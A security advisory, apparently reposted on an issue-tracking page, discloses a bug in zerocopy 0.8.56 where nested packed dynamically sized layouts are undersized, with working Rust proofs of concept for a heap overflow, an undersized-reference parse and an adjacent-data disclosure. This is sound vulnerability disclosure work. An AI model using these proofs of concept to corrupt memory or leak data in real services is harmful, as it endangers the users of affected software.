Security Advisory: Nested packed DST layouts underallocate memory and permit out-of-bounds access
- Dominant language
- Rust
- Stars
- 2.6k
- Forks
- 179
- Avg merge
- 1d 19h
- Merged PRs (30d)
- 29
Description
*The following was reported by OpenAI via email:*
- **Vulnerability Type:** Safe API unsoundness / heap buffer overflow / information disclosure
- **Affected Software:** zerocopy
- **Date:** September 2026
- **Discoverer:** OpenAI (OutboundDisclosures@openai.com)
## Summary
A nested dynamically sized type inside a `#[repr(C, packed(2))]` struct can have a larger Rust layout than the layout computed by `zerocopy`. Safe parsing APIs then accept a buffer too small for the resulting reference, and safe allocation APIs allocate too little memory for the returned `Box`.
The proof of concept uses ordinary, derived trait implementations. Rust requires ten bytes for the demonstrated zero-length-tail object, while `zerocopy` computes eight. Native AddressSanitizer confirms a ten-byte write into an eight-byte heap allocation when the resulting box is zeroed. A separate native example serializes two synthetic private bytes outside the eight-byte input slice supplied to its parsing function.
**Classification and threat model:** This is a security vulnerability when a service uses an affected nested packed schema to parse or allocate data whose length or trailing-element count comes from untrusted input. The type definitions are fixed application code; the attacker does not supply Rust code or unsafe trait implementations. The disclosure example additionally uses the public, documentation-hidden `Ptr` projection/byte-view APIs. Heap corruption and an adjacent-data disclosure were reproduced; remote code execution was not demonstrated.
**Affected version:** Reproduced using the published `zerocopy 0.8.56` crate. Its [release source](https://github.com/google/zerocopy/tree/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb) contains the same affected code as audited revision `2dad389b030e9268d6645ac0bf0626b867e96068`, which the source references below use. Earlier releases have not been exhaustively tested.
**Environment:** macOS arm64 (`aarch64-apple-darwin`), Rust 1.98.1 for ordinary native tests, and nightly-2026-09-04 (`rustc 1.100.0-nightly`, `a69a63265`) for Miri and ASan. Miri used normal validity checks and strict provenance.
## Sketch of the attack
The inner `#[repr(C)]` type contains a `u32`, a `u8`, and a trailing byte slice. Its zero-element representation is eight bytes, including three bytes of trailing padding. The outer packed type contains one prefix byte, one alignment byte, and that inner object: ten bytes in total.
`zerocopy` flattens the nested layout and loses the inner trailing padding rule. It accepts eight bytes for the outer object or allocates an eight-byte box. Subsequent safe operations use Rust's ten-byte object size.
## Full repro
Save this as `Cargo.toml`:
```toml
[package]
name = "zerocopy-disclosure-poc"
version = "0.1.0"
edition = "2024"
[workspace]
[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std", "simd"] }
# Pin the derive dependencies to the tested versions.
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }
```
### Heap buffer overflow
Save the following as `src/bin/nested_packed_box.rs`:
```rust
#![forbid(unsafe_code)]
use core::mem::{size_of_val, ManuallyDrop};
use zerocopy::{FromBytes, FromZeros, Immutable, KnownLayout};
#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C)]
struct Inner {
a: u32,
b: u8,
tail: T,
}
#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C, packed(2))]
struct Outer {
z: u8,
inner: ManuallyDrop>,
}
fn main() {
println!(
"zerocopy will allocate {} bytes",
Outer::<[u8]>::size_for_metadata(0).unwrap()
);
let mut boxed = Outer::<[u8]>::new_box_zeroed_with_elems(0).expect("allocation succeeds");
println!("native boxed DST requires {} bytes", size_of_val(&*boxed));
if std::env::args().any(|arg| arg == "--zero") {
boxed.zero();
}
drop(boxed);
}
```
After saving the source, run:
```sh
cargo +stable generate-lockfile
RUSTFLAGS='-Zsanitizer=address' CARGO_TARGET_DIR=target-asan \
cargo +nightly-2026-09-04 run --locked \
--target aarch64-apple-darwin --bin nested_packed_box -- --zero
```
The ASan run aborts. Relevant output from the tested host, with the stack trace omitted:
```text
zerocopy will allocate 8 bytes
native boxed DST requires 10 bytes
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 10
0x602000000298 is located 0 bytes after 8-byte region [0x602000000290,0x602000000298)
```
The addresses vary between runs. This is a native sanitizer finding; it does not depend on disabling Miri validation. Miri detects the problem earlier, when the undersized allocation is converted into a `Box`:
```sh
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin nested_packed_box
```
```text
error: Undefined Behavior: constructing invalid value of type std::boxed::Box>: encountered a dangling box (going beyond the bounds of its allocation)
```
### Undersized input accepted as a reference
Save this as `src/bin/nested_packed.rs`:
```rust
#![forbid(unsafe_code)]
use core::mem::{size_of, size_of_val, ManuallyDrop};
use zerocopy::{FromBytes, Immutable, KnownLayout};
#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C)]
struct Inner {
a: u32,
b: u8,
tail: T,
}
#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C, packed(2))]
struct Outer {
z: u8,
inner: ManuallyDrop>,
}
#[repr(align(2))]
struct Input([u8; 8]);
fn main() {
let fixed = Outer {
z: 0,
inner: ManuallyDrop::new(Inner {
a: 0,
b: 0,
tail: [0u8; 0],
}),
};
let valid_dst: &Outer<[u8]> = &fixed;
println!(
"native fixed size: {}; native DST size: {}; zerocopy size: {}",
size_of::>(),
size_of_val(valid_dst),
Outer::<[u8]>::size_for_metadata(0).unwrap()
);
let input = Input([0; 8]);
let parsed = Outer::<[u8]>::ref_from_bytes_with_elems(&input.0, 0)
.expect("zerocopy accepts the undersized input");
println!(
"accepted {} bytes for a reference requiring {} bytes",
input.0.len(),
size_of_val(parsed)
);
}
```
Run:
```sh
cargo +stable run --locked --release --bin nested_packed
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin nested_packed
```
Native output:
```text
native fixed size: 10; native DST size: 10; zerocopy size: 8
accepted 8 bytes for a reference requiring 10 bytes
```
Miri reports:
```text
error: Undefined Behavior: constructing invalid value of type &Outer<[u8]>: encountered a dangling reference (going beyond the bounds of its allocation)
```
The backtrace reaches `FromBytes::ref_from_bytes_with_elems` and `Ptr::as_ref`.
### Adjacent-data disclosure
Save this as `src/bin/nested_packed_disclosure.rs`:
```rust
#![forbid(unsafe_code)]
use core::mem::ManuallyDrop;
use zerocopy::{
pointer::{BecauseImmutable, Ptr},
CastType, FromBytes, Immutable, KnownLayout,
};
#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C)]
struct Inner {
a: u32,
b: u8,
tail: T,
}
#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C, packed(2))]
struct Outer {
z: u8,
inner: ManuallyDrop>,
}
#[repr(align(2))]
struct Input([u8; 10]);
fn serialize_parsed_field(input: &[u8]) -> Vec {
let (header, _) = Ptr::from_ref(input)
.try_cast_into::, BecauseImmutable>(CastType::Prefix, Some(0))
.unwrap();
let inner = header
.project::<_, { zerocopy::STRUCT_VARIANT_ID }, { zerocopy::ident_id!(inner) }>()
.unwrap();
inner.as_bytes::().as_ref().to_vec()
}
fn main() {
let storage = Input([0, 0, 0, 0, 0, 0, 0, 0, b'S', b'!']);
let request = &storage.0[..8];
let serialized = serialize_parsed_field(request);
println!("request bytes: {request:?}");
println!("serialized field: {serialized:?}");
assert_eq!(&serialized[6..], b"S!");
}
```
Run:
```sh
cargo +stable run --locked --release --bin nested_packed_disclosure
```
Observed output:
```text
request bytes: [0, 0, 0, 0, 0, 0, 0, 0]
serialized field: [0, 0, 0, 0, 0, 0, 83, 33]
```
The parsing function receives only the eight-byte request slice. Its returned bytes nevertheless include `S!`, placed in the adjacent portion of the host buffer. The chosen buffer placement makes the demonstration deterministic; it does not establish reliable disclosure of arbitrary secrets in every application's allocator layout.
## Root cause
All links below refer to the tested repository revision.
1. [`DstLayout::extend`](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/src/layout.rs#L373-L447) clamps the field's alignment to the packing limit and combines a nested DST into a single trailing-slice offset and element size. It does not preserve the inner type's separate trailing-padding operation. Packing changes field placement, not the internal padding of the field's own representation.
2. For this type, the correct size is `2 + round_up(5 + count, 4)`. The flattened computation effectively becomes `round_up(7 + count, 2)`. At `count = 0`, these are ten and eight respectively.
3. [`new_box`](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/src/util/mod.rs#L386-L467) obtains its allocation size from that layout, then constructs the box using Rust's actual type. [`FromZeros::zero`](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/src/lib.rs#L3535-L3547) writes `size_of_val(self)` bytes, overflowing the smaller allocation.
The layout representation must preserve nested padding semantics, or the derive must reject nesting/packing combinations it cannot represent correctly. The parsing, allocation, and field-projection repros should all be regression cases for the same underlying defect.
## Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Contributor guide
Research direction
Start with zerocopy/src/layout.rs, especially DstLayout::extend, then inspect zerocopy/src/util/mod.rs and zerocopy/src/lib.rs for new_box and FromZeros::zero. Reproduce the nested_packed_box, nested_packed, and nested_packed_disclosure examples with the listed sanitizer and Miri commands. Done means nested packed layouts preserve inner padding or unsupported combinations are rejected, with regression coverage for parsing, allocation, and projection.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- rust
- Domain
- security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Active
- Clarity
- Mostly clear
- Newbie friendliness
- 38/100